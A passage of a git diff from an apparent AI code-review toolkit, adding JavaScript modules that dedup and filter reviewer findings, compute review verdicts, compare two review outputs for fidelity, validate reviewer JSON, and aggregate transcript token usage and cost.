if (others.length > 0) {
|
||||
detail = survivor.detail ?? '';
|
||||
for (const o of others) {
|
||||
detail += `\nAlso flagged by ${o.reviewer ?? 'unknown'}: ${o.title ?? o.rule_key}.`;
|
||||
}
|
||||
}
|
||||
const id = computeFindingId(survivor.file, survivor.line, survivor.rule_key);
|
||||
out.push({ ...survivor, id, ...(detail !== undefined ? { detail } : {}), raised_by });
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Pass 2 — HubSpot Judge (deterministic subset): drop on succinctness
|
||||
* (title > 100 or detail > 800 chars) and actionability (recommended_action,
|
||||
* when present, must be a non-empty string). The imperative-verb test is
|
||||
* excluded (LLM judgement).
|
||||
* @param {object[]} findings
|
||||
* @returns {{ kept: object[], dropped: object[] }}
|
||||
*/
|
||||
export function judgeFilter(findings) {
|
||||
const kept = [];
|
||||
const dropped = [];
|
||||
for (const f of findings) {
|
||||
const titleLen = (f.title ?? '').length;
|
||||
const detailLen = (f.detail ?? '').length;
|
||||
let reason = null;
|
||||
if (titleLen > JUDGE_TITLE_MAX) reason = 'succinctness:title';
|
||||
else if (detailLen > JUDGE_DETAIL_MAX) reason = 'succinctness:detail';
|
||||
else if ('recommended_action' in f &&
|
||||
(typeof f.recommended_action !== 'string' || f.recommended_action.trim().length === 0)) {
|
||||
reason = 'actionability:empty';
|
||||
}
|
||||
if (reason) dropped.push({ ...f, suppressed_reason: reason });
|
||||
else kept.push(f);
|
||||
}
|
||||
return { kept, dropped };
|
||||
}
|
||||
|
||||
/**
|
||||
* Pass 3 — Cloudflare reasonableness (deterministic subset): drop findings
|
||||
* with no citation (empty file / line < 0) or an unknown rule_key; CORRECT a
|
||||
* severity that does not match the catalogue tier (a correction, not a drop).
|
||||
* The fs file-existence glob is excluded (I/O).
|
||||
* @param {object[]} findings
|
||||
* @returns {{ kept: object[], dropped: object[] }}
|
||||
*/
|
||||
export function reasonablenessFilter(findings) {
|
||||
const kept = [];
|
||||
const dropped = [];
|
||||
for (const f of findings) {
|
||||
if (typeof f.file !== 'string' || f.file.length === 0 ||
|
||||
(typeof f.line === 'number' && f.line < 0)) {
|
||||
dropped.push({ ...f, suppressed_reason: 'no-citation' });
|
||||
continue;
|
||||
}
|
||||
if (!RULE_KEYS.has(f.rule_key)) {
|
||||
dropped.push({ ...f, suppressed_reason: 'unknown-rule_key' });
|
||||
continue;
|
||||
}
|
||||
const rule = getRule(f.rule_key);
|
||||
if (rule && f.severity !== rule.severity) {
|
||||
kept.push({ ...f, severity: rule.severity, original_severity: f.severity });
|
||||
} else {
|
||||
kept.push(f);
|
||||
}
|
||||
}
|
||||
return { kept, dropped };
|
||||
}
|
||||
|
||||
/**
|
||||
* Pass 4 — compute the verdict from severity counts (after dedup + filtering).
|
||||
* BLOCKER ≥ 1 → BLOCK; else MAJOR ≥ 1 → WARN; else ALLOW.
|
||||
* @param {object[]} findings
|
||||
* @returns {{ verdict: 'BLOCK'|'WARN'|'ALLOW', counts: Record<string, number> }}
|
||||
*/
|
||||
export function computeVerdict(findings) {
|
||||
const counts = { BLOCKER: 0, MAJOR: 0, MINOR: 0, SUGGESTION: 0 };
|
||||
for (const f of findings) {
|
||||
if (counts[f.severity] !== undefined) counts[f.severity] += 1;
|
||||
}
|
||||
let verdict;
|
||||
if (counts.BLOCKER >= 1) verdict = 'BLOCK';
|
||||
else if (counts.MAJOR >= 1) verdict = 'WARN';
|
||||
else verdict = 'ALLOW';
|
||||
return { verdict, counts };
|
||||
}
|
||||
|
||||
/**
|
||||
* Run the full deterministic contract: ingest → Pass 1 → Pass 2 → Pass 3 → Pass 4.
|
||||
* @param {Array<{reviewer?: string, findings: object[]}>} reviewerPayloads
|
||||
* @returns {{ verdict: string, counts: Record<string, number>, findings: object[], suppressed: object[], skipped: object[] }}
|
||||
*/
|
||||
export function runContract(reviewerPayloads) {
|
||||
const { findings: ingested, skipped } = ingest(reviewerPayloads);
|
||||
const deduped = dedupByTriplet(ingested);
|
||||
const judged = judgeFilter(deduped);
|
||||
const reasoned = reasonablenessFilter(judged.kept);
|
||||
const { verdict, counts } = computeVerdict(reasoned.kept);
|
||||
return {
|
||||
verdict,
|
||||
counts,
|
||||
findings: reasoned.kept,
|
||||
suppressed: [...judged.dropped, ...reasoned.dropped],
|
||||
skipped,
|
||||
};
|
||||
}
|
||||
|
||||
// ---- CLI shim ----------------------------------------------------------------
|
||||
|
||||
if (import.meta.url === `file://${process.argv[1]}`) {
|
||||
const args = process.argv.slice(2);
|
||||
const filePath = args.find((a) => !a.startsWith('--'));
|
||||
if (!filePath) {
|
||||
process.stderr.write('Usage: coordinator-contract.mjs [--json] <reviewer-payloads.json>\n');
|
||||
process.exit(2);
|
||||
}
|
||||
const { readFileSync } = await import('node:fs');
|
||||
const payloads = JSON.parse(readFileSync(filePath, 'utf-8'));
|
||||
const result = runContract(Array.isArray(payloads) ? payloads : [payloads]);
|
||||
if (args.includes('--json')) {
|
||||
process.stdout.write(JSON.stringify(result, null, 2) + '\n');
|
||||
} else {
|
||||
process.stdout.write(`coordinator-contract: ${result.verdict} (${result.findings.length} findings, ${result.suppressed.length} suppressed)\n`);
|
||||
}
|
||||
process.exit(0);
|
||||
}
|
||||
173
lib/review/fidelity-diff.mjs
Normal file
173
lib/review/fidelity-diff.mjs
Normal file
|
|
@ -0,0 +1,173 @@
|
|||
// lib/review/fidelity-diff.mjs
|
||||
// Fidelity comparison of two review.md artifacts — the PRIMARY metric of the
|
||||
// NW2 (S10) prose-vs-Workflow bake-off (T2 §5).
|
||||
//
|
||||
// A substrate swap (prose Arm A → Workflow Arm B) passes the gate only if it
|
||||
// produces a fidelity-equivalent review.md: SAME verdict and an equivalent
|
||||
// finding set (IDs / severities / rule_keys). This module computes that diff
|
||||
// from two rendered review.md texts, reusing the determinism-pipeline
|
||||
// primitives (jaccard over finding-IDs + frontmatter parse + the NW1 trailing-
|
||||
// block extractor).
|
||||
//
|
||||
// Pure JS, zero deps beyond existing lib modules — unit-testable without any
|
||||
// live LLM run.
|
||||
|
||||
import { parseDocument } from '../util/frontmatter.mjs';
|
||||
import { jaccardSimilarity } from '../parsers/jaccard.mjs';
|
||||
import { computeFindingId } from '../parsers/finding-id.mjs';
|
||||
import { extractFindingsBlock } from './findings-schema.mjs';
|
||||
|
||||
export const DEFAULT_JACCARD_TOLERANCE = 0.7;
|
||||
|
||||
/**
|
||||
* Parse a rendered review.md into its comparable shape.
|
||||
* - verdict + finding-ID list come from frontmatter (the validated contract).
|
||||
* - per-finding severity / rule_key / file / line come from the trailing JSON
|
||||
* block. Both the `rule_key` (real reviewer output) and `rule` (fixtures)
|
||||
* keys are accepted.
|
||||
* @param {string} text
|
||||
* @returns {{ verdict: string|null, findingIds: string[],
|
||||
* details: Array<{id, severity, rule_key, file, line}> }}
|
||||
*/
|
||||
export function parseReviewArtifact(text) {
|
||||
const doc = parseDocument(text);
|
||||
const fm = (doc.valid && doc.parsed && doc.parsed.frontmatter) || {};
|
||||
const verdict = typeof fm.verdict === 'string' ? fm.verdict : null;
|
||||
const findingIds = Array.isArray(fm.findings) ? fm.findings.filter((x) => typeof x === 'string') : [];
|
||||
|
||||
let details = [];
|
||||
const block = extractFindingsBlock(text);
|
||||
if (block !== null) {
|
||||
try {
|
||||
const parsed = JSON.parse(block);
|
||||
const arr = Array.isArray(parsed) ? parsed : (Array.isArray(parsed.findings) ? parsed.findings : []);
|
||||
details = arr.map((f) => ({
|
||||
id: f.id ?? null,
|
||||
severity: f.severity ?? null,
|
||||
rule_key: f.rule_key ?? f.rule ?? null,
|
||||
file: f.file ?? null,
|
||||
line: f.line ?? null,
|
||||
}));
|
||||
} catch {
|
||||
details = [];
|
||||
}
|
||||
}
|
||||
|
||||
return { verdict, findingIds, details };
|
||||
}
|
||||
|
||||
function detailMap(details) {
|
||||
const m = new Map();
|
||||
for (const d of details) {
|
||||
if (d.id) m.set(d.id, d);
|
||||
}
|
||||
return m;
|
||||
}
|
||||
|
||||
/**
|
||||
* Core comparison over two normalized artifacts: {verdict, findingIds, details}.
|
||||
* Shared by fidelityDiff (review.md text) and fidelityDiffStructured (arm output).
|
||||
*/
|
||||
function compareArtifacts(a, b, opts = {}) {
|
||||
const tol = typeof opts.jaccardTolerance === 'number' ? opts.jaccardTolerance : DEFAULT_JACCARD_TOLERANCE;
|
||||
const verdictMatch = a.verdict === b.verdict;
|
||||
const jaccard = jaccardSimilarity(a.findingIds, b.findingIds);
|
||||
|
||||
// Cross-check severity + rule_key on findings present in BOTH arms.
|
||||
const mapA = detailMap(a.details);
|
||||
const mapB = detailMap(b.details);
|
||||
const severityMismatches = [];
|
||||
const ruleKeyMismatches = [];
|
||||
for (const [id, da] of mapA) {
|
||||
const db = mapB.get(id);
|
||||
if (!db) continue;
|
||||
if (da.severity !== db.severity) severityMismatches.push({ id, a: da.severity, b: db.severity });
|
||||
if (da.rule_key !== db.rule_key) ruleKeyMismatches.push({ id, a: da.rule_key, b: db.rule_key });
|
||||
}
|
||||
|
||||
const equivalent =
|
||||
verdictMatch &&
|
||||
jaccard >= tol &&
|
||||
severityMismatches.length === 0 &&
|
||||
ruleKeyMismatches.length === 0;
|
||||
|
||||
return {
|
||||
verdictA: a.verdict,
|
||||
verdictB: b.verdict,
|
||||
verdictMatch,
|
||||
jaccard,
|
||||
countA: a.findingIds.length,
|
||||
countB: b.findingIds.length,
|
||||
severityMismatches,
|
||||
ruleKeyMismatches,
|
||||
equivalent,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Compute the fidelity diff between two rendered review.md artifacts.
|
||||
* @param {string} textA — baseline (Arm A — prose)
|
||||
* @param {string} textB — candidate (Arm B — Workflow)
|
||||
* @param {{ jaccardTolerance?: number }} [opts]
|
||||
*/
|
||||
export function fidelityDiff(textA, textB, opts = {}) {
|
||||
return compareArtifacts(parseReviewArtifact(textA), parseReviewArtifact(textB), opts);
|
||||
}
|
||||
|
||||
/**
|
||||
* Normalize a structured arm output ({verdict, findings:[{severity,rule_key,
|
||||
* file,line}]}) into the comparable shape, recomputing canonical finding-IDs
|
||||
* from the (file, line, rule_key) triplet. Findings missing file/rule_key are
|
||||
* dropped from the ID set (they cannot dedupe), but counted is by valid IDs.
|
||||
*/
|
||||
export function normalizeArmOutput(arm) {
|
||||
const verdict = arm && typeof arm.verdict === 'string' ? arm.verdict : null;
|
||||
const findings = (arm && Array.isArray(arm.findings)) ? arm.findings : [];
|
||||
const findingIds = [];
|
||||
const details = [];
|
||||
for (const f of findings) {
|
||||
const file = f.file;
|
||||
const rule_key = f.rule_key ?? f.rule ?? null;
|
||||
const line = f.line;
|
||||
let id = null;
|
||||
if (typeof file === 'string' && file.length > 0 && rule_key && line !== null && line !== undefined) {
|
||||
try { id = computeFindingId(file, line, rule_key); } catch { id = null; }
|
||||
}
|
||||
if (id) findingIds.push(id);
|
||||
details.push({ id, severity: f.severity ?? null, rule_key, file: file ?? null, line: line ?? null });
|
||||
}
|
||||
return { verdict, findingIds, details };
|
||||
}
|
||||
|
||||
/**
|
||||
* Fidelity diff between two structured arm outputs (the bake-off comparison —
|
||||
* avoids rendering review.md for each run).
|
||||
* @param {{verdict, findings}} armA
|
||||
* @param {{verdict, findings}} armB
|
||||
* @param {{ jaccardTolerance?: number }} [opts]
|
||||
*/
|
||||
export function fidelityDiffStructured(armA, armB, opts = {}) {
|
||||
return compareArtifacts(normalizeArmOutput(armA), normalizeArmOutput(armB), opts);
|
||||
}
|
||||
|
||||
// ---- CLI shim ----------------------------------------------------------------
|
||||
|
||||
if (import.meta.url === `file://${process.argv[1]}`) {
|
||||
const { readFileSync } = await import('node:fs');
|
||||
const args = process.argv.slice(2);
|
||||
const files = args.filter((x) => !x.startsWith('--'));
|
||||
if (files.length !== 2) {
|
||||
process.stderr.write('Usage: fidelity-diff.mjs [--json] <review-A.md> <review-B.md>\n');
|
||||
process.exit(2);
|
||||
}
|
||||
const d = fidelityDiff(readFileSync(files[0], 'utf-8'), readFileSync(files[1], 'utf-8'));
|
||||
if (args.includes('--json')) {
|
||||
process.stdout.write(JSON.stringify(d, null, 2) + '\n');
|
||||
} else {
|
||||
process.stdout.write(`fidelity-diff: ${d.equivalent ? 'EQUIVALENT' : 'DIVERGENT'}\n`);
|
||||
process.stdout.write(` verdict: ${d.verdictA} vs ${d.verdictB} (match=${d.verdictMatch})\n`);
|
||||
process.stdout.write(` jaccard: ${d.jaccard.toFixed(4)} (findings ${d.countA} vs ${d.countB})\n`);
|
||||
process.stdout.write(` severity mismatches: ${d.severityMismatches.length}; rule_key mismatches: ${d.ruleKeyMismatches.length}\n`);
|
||||
}
|
||||
process.exit(d.equivalent ? 0 : 1);
|
||||
}
|
||||
175
lib/review/findings-schema.mjs
Normal file
175
lib/review/findings-schema.mjs
Normal file
|
|
@ -0,0 +1,175 @@
|
|||
// lib/review/findings-schema.mjs
|
||||
// Reviewer-output JSON schema contract for /trekreview Phase 5 (NW1).
|
||||
//
|
||||
// brief-conformance-reviewer and code-correctness-reviewer each emit a trailing
|
||||
// fenced `json` block of shape:
|
||||
//
|
||||
// { "reviewer": "<name>", "findings": [ { id, severity, rule_key, file, line,
|
||||
// brief_ref, title, detail,
|
||||
// recommended_action }, ... ] }
|
||||
//
|
||||
// This module codifies that contract so main can VALIDATE each reviewer's JSON
|
||||
// (not merely JSON.parse it) and re-ask on *schema* failure as well as parse
|
||||
// failure, replacing the fragile "parse the last json block" contract that used
|
||||
// to live in commands/trekreview.md (the :202–204 prose).
|
||||
//
|
||||
// Load-bearing fields (the downstream dedup triplet + verdict severity) are hard
|
||||
// errors: file, rule_key, severity, line. Unknown rule_keys are errors too — the
|
||||
// catalogue is the contract. Descriptive fields (title/detail/recommended_action/
|
||||
// brief_ref) and unknown top-level keys are tolerated (forward-compat, mirroring
|
||||
// review-validator.mjs).
|
||||
//
|
||||
// 3-layer pattern (Content → Raw-text → CLI shim) mirroring the other validators.
|
||||
|
||||
import { readFileSync, existsSync } from 'node:fs';
|
||||
import { issue, fail } from '../util/result.mjs';
|
||||
import { RULE_KEYS, SEVERITY_VALUES } from './rule-catalogue.mjs';
|
||||
|
||||
// The fields main + the coordinator depend on. Descriptive fields are not here
|
||||
// on purpose: a missing recommended_action should not trigger a re-ask.
|
||||
export const FINDING_REQUIRED_FIELDS = Object.freeze([
|
||||
'severity',
|
||||
'rule_key',
|
||||
'file',
|
||||
'line',
|
||||
]);
|
||||
|
||||
// Last fenced ```json … ``` block in a reviewer's output. The contract pins the
|
||||
// JSON block as the LAST fence so prose above it never confuses the parser.
|
||||
const JSON_FENCE_GLOBAL = /```json[ \t]*\r?\n([\s\S]*?)```/gi;
|
||||
|
||||
/**
|
||||
* Extract the inner body of the LAST fenced `json` block in `text`.
|
||||
* @param {string} text
|
||||
* @returns {string|null} the JSON source, or null if no json fence is present.
|
||||
*/
|
||||
export function extractFindingsBlock(text) {
|
||||
if (typeof text !== 'string') return null;
|
||||
JSON_FENCE_GLOBAL.lastIndex = 0;
|
||||
let last = null;
|
||||
let m;
|
||||
while ((m = JSON_FENCE_GLOBAL.exec(text)) !== null) {
|
||||
last = m[1];
|
||||
}
|
||||
return last;
|
||||
}
|
||||
|
||||
function validateFinding(finding, index, errors) {
|
||||
const loc = `findings[${index}]`;
|
||||
if (finding === null || typeof finding !== 'object' || Array.isArray(finding)) {
|
||||
errors.push(issue('FINDING_NOT_OBJECT', `${loc} is not an object`, undefined, loc));
|
||||
return;
|
||||
}
|
||||
|
||||
if (typeof finding.file !== 'string' || finding.file.length === 0) {
|
||||
errors.push(issue('FINDING_MISSING_FILE', `${loc}.file must be a non-empty string`, undefined, loc));
|
||||
}
|
||||
|
||||
if (typeof finding.rule_key !== 'string' || finding.rule_key.length === 0) {
|
||||
errors.push(issue('FINDING_MISSING_RULE_KEY', `${loc}.rule_key must be a non-empty string`, undefined, loc));
|
||||
} else if (!RULE_KEYS.has(finding.rule_key)) {
|
||||
errors.push(issue(
|
||||
'FINDING_UNKNOWN_RULE_KEY',
|
||||
`${loc}.rule_key "${finding.rule_key}" is not in the rule catalogue`,
|
||||
'Use a rule_key from lib/review/rule-catalogue.mjs',
|
||||
loc,
|
||||
));
|
||||
}
|
||||
|
||||
if (typeof finding.severity !== 'string' || !SEVERITY_VALUES.includes(finding.severity)) {
|
||||
errors.push(issue(
|
||||
'FINDING_BAD_SEVERITY',
|
||||
`${loc}.severity must be one of ${SEVERITY_VALUES.join('|')}, got ${JSON.stringify(finding.severity)}`,
|
||||
undefined,
|
||||
loc,
|
||||
));
|
||||
}
|
||||
|
||||
if (typeof finding.line !== 'number' || !Number.isInteger(finding.line) || finding.line < 0) {
|
||||
errors.push(issue(
|
||||
'FINDING_BAD_LINE',
|
||||
`${loc}.line must be an integer ≥ 0, got ${JSON.stringify(finding.line)}`,
|
||||
'Use 0 for file-scoped findings without a specific line.',
|
||||
loc,
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate an already-parsed reviewer-output payload against the schema.
|
||||
* Accumulates every error (so a re-ask can name all problems at once).
|
||||
* @param {unknown} payload
|
||||
* @returns {import('../util/result.mjs').Result}
|
||||
*/
|
||||
export function validateFindings(payload) {
|
||||
if (payload === null || typeof payload !== 'object' || Array.isArray(payload)) {
|
||||
return fail(issue('FINDINGS_NOT_OBJECT', `Reviewer output must be a JSON object, got ${Array.isArray(payload) ? 'array' : typeof payload}`));
|
||||
}
|
||||
|
||||
const errors = [];
|
||||
const warnings = [];
|
||||
|
||||
if (typeof payload.reviewer !== 'string' || payload.reviewer.length === 0) {
|
||||
warnings.push(issue('FINDINGS_MISSING_REVIEWER', 'Reviewer output should carry a non-empty "reviewer" name'));
|
||||
}
|
||||
|
||||
if (!Array.isArray(payload.findings)) {
|
||||
errors.push(issue('FINDINGS_NOT_ARRAY', `Field "findings" must be an array, got ${typeof payload.findings}`));
|
||||
return { valid: false, errors, warnings, parsed: payload };
|
||||
}
|
||||
|
||||
for (let i = 0; i < payload.findings.length; i++) {
|
||||
validateFinding(payload.findings[i], i, errors);
|
||||
}
|
||||
|
||||
return { valid: errors.length === 0, errors, warnings, parsed: payload };
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate a reviewer's raw output text: extract the last json fence, parse it,
|
||||
* then schema-validate. Parse-stage failures get stable codes so they flow
|
||||
* through the same bounded re-ask path as schema failures.
|
||||
* @param {string} rawText
|
||||
* @returns {import('../util/result.mjs').Result}
|
||||
*/
|
||||
export function validateReviewerOutput(rawText) {
|
||||
const block = extractFindingsBlock(rawText);
|
||||
if (block === null) {
|
||||
return fail(issue(
|
||||
'FINDINGS_NO_JSON_BLOCK',
|
||||
'No trailing fenced ```json block found in reviewer output',
|
||||
'Reviewers must end their output with a single ```json findings block.',
|
||||
));
|
||||
}
|
||||
let parsed;
|
||||
try {
|
||||
parsed = JSON.parse(block);
|
||||
} catch (e) {
|
||||
return fail(issue('FINDINGS_PARSE_ERROR', `Reviewer JSON block did not parse: ${e.message}`));
|
||||
}
|
||||
return validateFindings(parsed);
|
||||
}
|
||||
|
||||
// ---- CLI shim ----------------------------------------------------------------
|
||||
|
||||
if (import.meta.url === `file://${process.argv[1]}`) {
|
||||
const args = process.argv.slice(2);
|
||||
const filePath = args.find((a) => !a.startsWith('--'));
|
||||
if (!filePath) {
|
||||
process.stderr.write('Usage: findings-schema.mjs [--json] <reviewer-output.txt|.md>\n');
|
||||
process.exit(2);
|
||||
}
|
||||
if (!existsSync(filePath)) {
|
||||
process.stderr.write(`findings-schema: file not found: ${filePath}\n`);
|
||||
process.exit(2);
|
||||
}
|
||||
const r = validateReviewerOutput(readFileSync(filePath, 'utf-8'));
|
||||
if (args.includes('--json')) {
|
||||
process.stdout.write(JSON.stringify({ valid: r.valid, errors: r.errors, warnings: r.warnings }, null, 2) + '\n');
|
||||
} else {
|
||||
process.stdout.write(`findings-schema: ${r.valid ? 'PASS' : 'FAIL'} ${filePath}\n`);
|
||||
for (const e of r.errors) process.stderr.write(` ERROR [${e.code}] ${e.message}\n`);
|
||||
for (const w of r.warnings) process.stderr.write(` WARN [${w.code}] ${w.message}\n`);
|
||||
}
|
||||
process.exit(r.valid ? 0 : 1);
|
||||
}
|
||||
BIN
lib/review/gold-scorer.mjs
Normal file
BIN
lib/review/gold-scorer.mjs
Normal file
Binary file not shown.
|
|
@ -9,12 +9,18 @@
|
|||
//
|
||||
// Provenance is preserved on the surviving finding's `raised_by` array.
|
||||
//
|
||||
// CLI shim:
|
||||
// node lib/review/plan-review-dedup.mjs \
|
||||
// --plan-critic /tmp/x.json --scope-guardian /tmp/y.json
|
||||
// CLI shim — two input modes:
|
||||
// file mode: node lib/review/plan-review-dedup.mjs \
|
||||
// --plan-critic /tmp/x.json --scope-guardian /tmp/y.json
|
||||
// stdin mode: node lib/review/plan-review-dedup.mjs --stdin (reads fd 0:
|
||||
// one object {plan_critic, scope_guardian} of agent payloads)
|
||||
// → stdout: deduped JSON, exit 0 on success.
|
||||
//
|
||||
// Empty / missing inputs are tolerated (single-agent review still works).
|
||||
// File mode tolerates empty / missing inputs (single-agent review still works).
|
||||
// stdin mode is the Phase-9 path: the read-only reviewers (plan-critic,
|
||||
// scope-guardian) cannot write temp files, so /trekplan pipes their inline JSON
|
||||
// blocks here. Malformed stdin exits NON-ZERO — a broken hand-off must surface
|
||||
// loudly, never collapse into a silent empty merge.
|
||||
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { jaccardSimilarity, meetsThreshold } from '../parsers/jaccard.mjs';
|
||||
|
|
@ -138,6 +144,7 @@ function parseArgs(argv) {
|
|||
if (a === '--plan-critic') out.planCritic = argv[++i];
|
||||
else if (a === '--scope-guardian') out.scopeGuardian = argv[++i];
|
||||
else if (a === '--threshold') out.threshold = Number(argv[++i]);
|
||||
else if (a === '--stdin') out.stdin = true;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
|
@ -151,12 +158,46 @@ function readJsonOrNull(path) {
|
|||
}
|
||||
}
|
||||
|
||||
// --stdin mode reads ONE object {plan_critic, scope_guardian} from fd 0. Unlike
|
||||
// the file path mode (which tolerates absent files so single-agent review still
|
||||
// works), malformed stdin is a hard error: --stdin means the caller intended to
|
||||
// pipe both inline review blocks, so a parse failure is a broken hand-off that
|
||||
// must surface loudly — not collapse into a silent empty merge (the original
|
||||
// Phase-9 defect: read-only reviewers never wrote the temp files, the helper
|
||||
// swallowed the absence, and the dedup ran on nothing).
|
||||
function readStdinSourcesOrExit() {
|
||||
let raw;
|
||||
try {
|
||||
raw = readFileSync(0, 'utf-8');
|
||||
} catch (err) {
|
||||
process.stderr.write(`plan-review-dedup --stdin: cannot read stdin: ${err.message}\n`);
|
||||
process.exit(1);
|
||||
}
|
||||
let parsed;
|
||||
try {
|
||||
parsed = JSON.parse(raw);
|
||||
} catch (err) {
|
||||
process.stderr.write(`plan-review-dedup --stdin: malformed JSON on stdin: ${err.message}\n`);
|
||||
process.exit(1);
|
||||
}
|
||||
if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) {
|
||||
process.stderr.write('plan-review-dedup --stdin: expected an object {plan_critic, scope_guardian}\n');
|
||||
process.exit(1);
|
||||
}
|
||||
return [
|
||||
{ agent: 'plan-critic', payload: parsed.plan_critic ?? null },
|
||||
{ agent: 'scope-guardian', payload: parsed.scope_guardian ?? null },
|
||||
];
|
||||
}
|
||||
|
||||
if (import.meta.url === `file://${process.argv[1]}`) {
|
||||
const args = parseArgs(process.argv.slice(2));
|
||||
const sources = [
|
||||
{ agent: 'plan-critic', payload: readJsonOrNull(args.planCritic) },
|
||||
{ agent: 'scope-guardian', payload: readJsonOrNull(args.scopeGuardian) },
|
||||
];
|
||||
const sources = args.stdin
|
||||
? readStdinSourcesOrExit()
|
||||
: [
|
||||
{ agent: 'plan-critic', payload: readJsonOrNull(args.planCritic) },
|
||||
{ agent: 'scope-guardian', payload: readJsonOrNull(args.scopeGuardian) },
|
||||
];
|
||||
const opts = {};
|
||||
if (Number.isFinite(args.threshold)) opts.threshold = args.threshold;
|
||||
const result = dedupFindings(sources, opts);
|
||||
|
|
|
|||
|
|
@ -43,6 +43,16 @@ export function summarize(lines) {
|
|||
unique_event_names: [],
|
||||
oldest_event_iso: null,
|
||||
newest_event_iso: null,
|
||||
// SKAL-2 token/cost aggregation (additive; zero when no token records).
|
||||
// With upsert semantics (one record per session_id), summing across lines
|
||||
// = correct cross-session aggregate. cost_usd is summed only when finite;
|
||||
// a null (refuse-to-estimate) record still counts in sessions_with_tokens.
|
||||
total_tokens_input: 0,
|
||||
total_tokens_output: 0,
|
||||
total_tokens_cache_creation: 0,
|
||||
total_tokens_cache_read: 0,
|
||||
total_cost_usd: 0,
|
||||
sessions_with_tokens: 0,
|
||||
};
|
||||
|
||||
const durations = [];
|
||||
|
|
@ -71,6 +81,20 @@ export function summarize(lines) {
|
|||
if (newestMs === null || t > newestMs) newestMs = t;
|
||||
}
|
||||
}
|
||||
|
||||
// SKAL-2: aggregate token/cost from token-bearing records (token-usage
|
||||
// schema). Detect by presence of any numeric token field.
|
||||
const tokenKeys = ['tokens_input', 'tokens_output', 'tokens_cache_creation', 'tokens_cache_read'];
|
||||
const hasTokens = tokenKeys.some(k => typeof obj[k] === 'number' && Number.isFinite(obj[k]));
|
||||
if (hasTokens) {
|
||||
summary.sessions_with_tokens++;
|
||||
if (Number.isFinite(obj.tokens_input)) summary.total_tokens_input += obj.tokens_input;
|
||||
if (Number.isFinite(obj.tokens_output)) summary.total_tokens_output += obj.tokens_output;
|
||||
if (Number.isFinite(obj.tokens_cache_creation)) summary.total_tokens_cache_creation += obj.tokens_cache_creation;
|
||||
if (Number.isFinite(obj.tokens_cache_read)) summary.total_tokens_cache_read += obj.tokens_cache_read;
|
||||
// cost_usd may be null (refuse-to-estimate) — sum finite values only.
|
||||
if (Number.isFinite(obj.cost_usd)) summary.total_cost_usd += obj.cost_usd;
|
||||
}
|
||||
}
|
||||
|
||||
if (durations.length > 0) {
|
||||
|
|
|
|||
234
lib/stats/token-usage.mjs
Normal file
234
lib/stats/token-usage.mjs
Normal file
|
|
@ -0,0 +1,234 @@
|
|||
// lib/stats/token-usage.mjs
|
||||
// SKAL-2 — pure token-usage parser + cache-aware cost derivation for Voyage
|
||||
// observability. Captures MAIN-CONTEXT token/cost from the Claude Code
|
||||
// transcript (transcript_path). Each assistant record carries message.usage
|
||||
// with a per-REQUEST snapshot.
|
||||
//
|
||||
// Verified 2026-06-26 against a real local transcript (216 lines): 70
|
||||
// assistant records collapse to 31 distinct requestIds — records duplicate
|
||||
// per requestId (streamed snapshots), so we dedup by requestId keeping the
|
||||
// LAST occurrence (GH #28197 streaming-placeholder mitigation), then sum
|
||||
// across requests. The main transcript carried zero isSidechain:true records.
|
||||
//
|
||||
// v1 scope = MAIN-CONTEXT only. Sub-agent (swarm) turns live in separate
|
||||
// agent-*.jsonl siblings and are a documented v2 follow-on — so the
|
||||
// main-transcript sum UNDER-counts total Voyage cost. Every record is stamped
|
||||
// scope:'main-context' so no reader mistakes cost_usd for the session total.
|
||||
//
|
||||
// The four core functions (parseTranscriptUsage, deriveCost, buildRecord,
|
||||
// upsertSessionRecord) are PURE (no I/O). captureTokenUsage is the impure
|
||||
// shell that wires them to the filesystem (read transcript → upsert jsonl).
|
||||
//
|
||||
// Zero npm dependencies. Node stdlib only.
|
||||
|
||||
import { readFileSync, existsSync, writeFileSync, renameSync, statSync } from 'node:fs';
|
||||
import { join, dirname } from 'node:path';
|
||||
|
||||
// Per-Mtok USD prices, resolved 2026-06-26 via the claude-api skill reference:
|
||||
// base input/output from the model table; cache rates from the prompt-caching
|
||||
// doc multipliers (cache_read 0.1x, write_5m 1.25x, write_1h 2.0x of input).
|
||||
// claude-fable-5 resolved 2026-07-02 from the official platform pricing docs.
|
||||
export const PRICE_TABLE = Object.freeze({
|
||||
'claude-opus-4-8': Object.freeze({
|
||||
input: 5.0,
|
||||
output: 25.0,
|
||||
cache_read: 0.5,
|
||||
cache_write_5m: 6.25,
|
||||
cache_write_1h: 10.0,
|
||||
}),
|
||||
'claude-fable-5': Object.freeze({
|
||||
input: 10.0,
|
||||
output: 50.0,
|
||||
cache_read: 1.0,
|
||||
cache_write_5m: 12.5,
|
||||
cache_write_1h: 20.0,
|
||||
}),
|
||||
});
|
||||
|
||||
// Date the PRICE_TABLE values were resolved/verified. Bump when prices change.
|
||||
export const PRICE_TABLE_VERSION = '2026-07-02';
|
||||
|
||||
function num(v) {
|
||||
return typeof v === 'number' && Number.isFinite(v) ? v : 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Single pass over transcript JSONL text. Keeps only main-chain assistant
|
||||
* records (type==='assistant', isSidechain!==true), dedups by requestId
|
||||
* keeping the LAST occurrence (per-request usage snapshots duplicate across
|
||||
* streamed records), and sums the four usage token fields. Malformed lines
|
||||
* are skipped.
|
||||
*
|
||||
* @returns {{tokens_input:number, tokens_output:number,
|
||||
* tokens_cache_creation:number, tokens_cache_read:number}}
|
||||
*/
|
||||
export function parseTranscriptUsage(text) {
|
||||
const lines = (text || '').split('\n');
|
||||
// requestId -> usage (last occurrence wins). Records without a requestId
|
||||
// get a unique sentinel key so each is still counted exactly once.
|
||||
const byRequest = new Map();
|
||||
let anon = 0;
|
||||
for (const line of lines) {
|
||||
const trimmed = line.trim();
|
||||
if (trimmed === '') continue;
|
||||
let obj;
|
||||
try { obj = JSON.parse(trimmed); }
|
||||
catch { continue; }
|
||||
if (!obj || obj.type !== 'assistant') continue;
|
||||
if (obj.isSidechain === true) continue;
|
||||
const usage = obj.message && obj.message.usage;
|
||||
if (!usage || typeof usage !== 'object') continue;
|
||||
const key = typeof obj.requestId === 'string' && obj.requestId
|
||||
